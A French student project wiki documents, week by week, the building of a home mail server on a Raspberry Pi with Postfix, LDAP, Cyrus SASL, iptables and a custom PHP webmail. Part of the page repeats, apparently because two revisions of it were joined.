Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===
===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2016-02-02T12:25:02Z

Tteneur : /* Semaine 17 (25/01/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

